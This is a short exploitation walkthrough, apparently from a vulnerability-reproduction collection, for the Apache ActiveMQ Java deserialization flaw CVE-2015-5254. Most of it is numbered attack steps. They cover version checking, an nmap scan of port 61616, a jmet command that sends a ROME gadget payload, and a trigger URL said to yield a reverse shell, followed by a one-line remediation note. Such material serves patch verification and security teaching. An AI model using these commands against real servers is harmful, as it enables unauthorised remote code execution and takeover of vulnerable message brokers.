
ActiveMQ_CVE-2015-5254
ActiveMQ Deserialization (CVE-2015-5254)
Vulnerability Description: Security vulnerabilities exist in Apache ActiveMQ versions before 5.13.0. The issue stems from the program not restricting the classes that can be serialized in the broker. Remote attackers can exploit this by sending a specially crafted serialized Java Message Service (JMS) ObjectMessage object to execute arbitrary code.
Affected Versions: Apache ActiveMQ 5.x versions prior to 5.13.0
0x01 Login to the background to confirm the version: http://IP:8161

0x02 Confirm port 61616 is open:
nmap -sV -Pn -T4 -sC -p 61616 IP

0x03 Send the reverse payload:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "xxx" -Yp ROME IP 61616

0x04 Click to trigger Browse event-Message ID, successfully obtain reverse shell:
http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event

Remediation Suggestion: Upgrade to the latest version, configure WAF rules to block attacks.